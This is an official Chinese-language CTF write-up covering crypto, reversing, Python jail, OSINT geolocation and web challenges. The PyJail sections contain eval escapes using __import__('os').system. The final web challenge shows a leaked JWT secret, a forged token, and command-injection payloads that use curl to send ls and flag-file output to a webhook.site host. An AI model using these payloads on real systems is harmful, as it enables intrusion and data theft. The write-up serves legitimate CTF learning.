---
# System prepended metadata

title: THJCC CTF 題解

---

# THJCC CTF official writeup
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
> Author:堇姬Naup

Source Code : https://github.com/Naupjjin/THJCC-CTF-source-code

# Crypto
## JPG^PNG=?

### source
```python=
from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

KEY= open("key.png", "rb").read()
FLAG = open("flag.jpg", "rb").read()

key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]

enc = bytearray(xor(FLAG,key))

open('enc.txt', 'wb').write(enc)

```
他將png作為key跟一張.jpg前8位做xor運算
但我們知道png前8位是固定的所以就再做一次xor就可以了
[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
### solve

```python=
from PIL import Image
from itertools import cycle

def xor(a, b):
    return bytes(i^j for i, j in zip(a, cycle(b)))

enc_data = open('enc.txt', 'rb').read()

key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]

decrypted_data = xor(enc_data, key)

open('decrypted_image.png', 'wb').write(decrypted_data)
```

![flag](https://hackmd.io/_uploads/rkiLaYcZA.jpg)

> THJCC{IM3_X52_a4dc133un_sta2t}

## 《SSS.GRIDMAN》

### source
```python=
import numpy
import random
import os
from FLAG import FLAG

poly_enc = []

def random_ploy():
    poly=[]
    for i in range(2):
        poly.append(random.randint(99,999))

    return poly


def random_x():
    random_list=[i for i in range(100,999)]
    x_list=[]
    for i in range(3):
        choice=random.choice(random_list)
        x_list.append(choice)
        random_list.remove(choice)
    return x_list

def encrypt_secret(poly,x_list):
    share_list=[]
    
    for x in x_list:
        
        share=(x,int(poly(x)))
        share_list.append(share)

    print('share:',share_list)

try:
    WELCOME='''
   ________________ ________  _______  __  ______   _  
  / __/ __/ __// ___/ _ \/  _/ _ \/  |/  / _ | / |/ /
 _\ \_\ \_\ \_/ (_ / , _// // // / /|_/ / __ |/    / 
/___/___/___(_)___/_/|_/___/____/_/  /_/_/ |_/_/|_/  

    '''
    print(WELCOME)
    print("I don't remember anything.But one day, I looks a word \"GRIDMAN\".\nI want to know what is \"GRIDMAN\"")
    print("I find this computer.It may have secret about \"GRIDMAN\"")
    secret=os.urandom(4)
    secret=int.from_bytes(secret, byteorder='big')

    polyc =random_ploy()

    polyc.append(secret)
    poly_enc = numpy.poly1d(polyc)
    print("-"*20)

    
    encrypt_secret(poly_enc,random_x())
    print("Do you know PASSWORD?")
    print("-"*20)
    input_secret_num=int(input("PASSWORD? "))

    if input_secret_num==secret:
        print("This is SECRET")
        print(FLAG)
    else:
        print("end...")
        exit()

except:
    print("error...")
    exit()
```

他創建了一個二次函數($a,b$為隨機數字)
$ax^2+bx+secret$
再來他會隨機生成$x_1,x_2,x_3$並帶入二次函數並告訴你結果是多少，以及他輸入的是多少
$ax_1^2+bx_1+secret$
$ax_2^2+bx_2+secret$
$ax_3^2+bx_3+secret$
最後寫出來會是個三元一次方程式，並且有三條式子，所以我們就可以解聯立方程來找出secret
輸入正確的secret就可以拿到flag

### script
```python=
import numpy as np


coefficients = np.array([[252**2, 252, 1],
                         [632**2, 632, 1],
                         [974**2, 974, 1]]
                    )
constants = np.array([544642371,  617037691, 735282139])
solution = np.linalg.solve(coefficients, constants)

print("root:", solution)
```

> THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}



# Reverse
## PYC REVERSE
給你一個msg檔案跟.pyc，嘗試用線上工具逆.pyc
https://tool.lu/en_US/pyc/

```python=
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789


def xor2(flag):
    return flag ^ 487531


def xor3(flag):
    return flag ^ 784523


def xor4(flag):
    return flag ^ 642871


def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)
```
做了很多xor運算
因為xor兩次相同東西會消掉，所以就看他xor了甚麼再做一次就好了
### script

```python=
from Crypto.Util.number import long_to_bytes

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

flag=10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

flag=xor1(xor2(xor3(xor4(flag))))

print(long_to_bytes(flag))
```

# Misc
## PyJail-0

### source
```python=
WELCOME='''
 ____            _       _ _ 
|  _ \ _   _    | | __ _(_) |
| |_) | | | |_  | |/ _` | | |
|  __/| |_| | |_| | (_| | | |
|_|    \__, |\___/ \__,_|_|_|
       |___/                 
'''

def main():
    
    print("-"*30)
    print(WELCOME)
    print("-"*30)
    print("Try to escape!!This is a jail")
    a=input("> ")
    eval(a)

if __name__ == '__main__':
    main()

```
會把我們的輸入送到eval裡面
我們知道python裡面有很多magic function
可以用python的magic function
```
__import__('os').system('ls')
```
相當於
```python=
import os
os.system('ls ~')
```
最後在
```
__import__('os').system('cat flag.txt')
```
就可以cat flag了

> THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}

## PyJail-1

### source
```python=
WELCOME='''
 ____            _       _ _ 
|  _ \ _   _    | | __ _(_) |
| |_) | | | |_  | |/ _` | | |
|  __/| |_| | |_| | (_| | | |
|_|    \__, |\___/ \__,_|_|_|
       |___/                 
'''
def main():
    try:
        print("-"*30)
        print(WELCOME)
        print("-"*30)
        print("Try to escape!!This is a jail")
        print("I increased security!!!")
        a=input("> ")
        if len(a)<15:
            eval(a)
        else:
            print("Don't escape!!")
    except:
        print("error")
        exit()

if __name__ == '__main__':
    main()
```

這次加上了長度限制15字
但其實很好繞
如果我輸入
```
eval(input())
```
他會先讓`eval(input())`被當程式碼執行，這樣子就跟第一題一樣了，因為你的input，會直接進到eval
```
__import__("os").system("ls")
__import__('os').system('cat flag.txt')
```

> THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}

## Geoguesser???
給了你一個twitter帳號連結
https://twitter.com/rrharil0302/status/1776462043761238290
他要你找出圖中的補習班經緯度

首先你觀察一下會發現上面有一組電話號碼
![image](https://hackmd.io/_uploads/ByN0PKq-A.png)
直接搜
0790632758
會找到這家補習班
https://ivry.jp/telsearch/0790632758/
![image](https://hackmd.io/_uploads/SktVuF5ZC.png)

去google map搜就可以找到經緯度了
```
兵庫県宍粟市山崎町鹿沢６８−６
```

![image](https://hackmd.io/_uploads/rkod_t5ZC.png)

> THJCC{35.0039_134.5426}

## I want to go to Japan!
一樣是一個twitter帳號
https://twitter.com/rrharil0302/status/1782034885626188150

給了一張

![螢幕擷取畫面 2024-04-27 221808](https://hackmd.io/_uploads/rJvEtt5b0.png)


嘗試去搜尋他找到

https://twitter.com/YUNOHAMA_hotel/status/1765316443543937478

找到這個溫泉後
搜`湯の浜ホテル 神社`
找到了https://onsen-musume.jp/news/7322
知道是倉湯神社

直接去wiki上找就找到經緯度了
> THJCC{41.782_140.791}

# Insane
## FFAM(Find Flag Automaticaliiy Machine)
首先進到頁面會看到一個頁面，他會報RAM不夠的問題，並且他有提示你，`If you want to use small shell, you can go to /webshell `

![image](https://hackmd.io/_uploads/B1055RobA.png)

先去分析source code

![image](https://hackmd.io/_uploads/HJpQ1JnWC.png)

去看 `server.py`
首先看到了關於session跟JWT相關的，session secret key非常大，顯然沒辦法偽造。
另外我們知道JWT的Secret Key存在`ASECRETKEY.txt`
![image](https://hackmd.io/_uploads/SJ79JJ3-0.png)

設定了一個cookie，叫做`YourToKeNinShop`
![image](https://hackmd.io/_uploads/H13NbynWR.png)

這是一個處理買賣的route，你可以發現到這裡有一個商品較RAM需要驗證你的JWT，並且可以注意到，他可以輸入負數，來讓你的錢變多。
![image](https://hackmd.io/_uploads/SyYezkh-C.png)

這裡表示了你需要拿到三個RAM讓你的RAM足夠才可以使用
![image](https://hackmd.io/_uploads/SyWYMynbR.png)

還有兩個shell，一個可以直接打開，一個則要有三個RAM才可以使用
![image](https://hackmd.io/_uploads/Bkb-71n-R.png)

![image](https://hackmd.io/_uploads/SyPEQk3ZA.png)

首先我們首要目標是買到三個RAM，所以我先去商店看看(`/ShopAboutComputerEquipment`)

![image](https://hackmd.io/_uploads/r1P1VJn-C.png)

確實有賣RAM，但有兩個問題
- 錢不夠
- 權限不夠(要繞過JWT驗證)

錢不夠可以用輸入負數，來增加錢

![image](https://hackmd.io/_uploads/rJCbBy3Z0.png)

接下來要偽造JWT，但我要怎麼leak secret key
或許可以嘗試利用第一個shell
但他有一些限制，他過濾掉了很多字符以及限制你只能使用五個字
![image](https://hackmd.io/_uploads/BkyU812W0.png)

這裡你會發現有個方法，因為你的`ASECRETKEY.txt`，是文字檔，並且觀察一下他會是第一個檔案
所以你如果嘗試去執行他+通配符，就可以leak 內容
$0 -> /bin/sh
```
$0 *
```

![image](https://hackmd.io/_uploads/S1uaFJ2-A.png)

```
asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei
```

再來就是偽造JWT了
```python=
import jwt
key=b'asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei'
data = {'id': 1, 'role': "Naup"}

token = jwt.encode(data, key, algorithm='HS256')

print(token)
```
JWT token
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw
```

就可以買到三個RAM了
![image](https://hackmd.io/_uploads/rJvSTynb0.png)

接下來就可以連到
![image](https://hackmd.io/_uploads/SJvnJl3-0.png)

他一樣有很多的過濾，並會把你輸入的東西放到`cat <放到這裡>.txt`並執行(並且你不知道flag的檔名，所以要先ls)
![image](https://hackmd.io/_uploads/r12CNl2ZA.png)

這邊使用`curl`來把印出的東西送到`webhook`

```
$(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(ls)")
$(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(cat flag-asdq45a8we633a2df56aq.py)")
```

![image](https://hackmd.io/_uploads/HkdH_gnWA.png)
![image](https://hackmd.io/_uploads/By6LOl3-C.png)

> THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}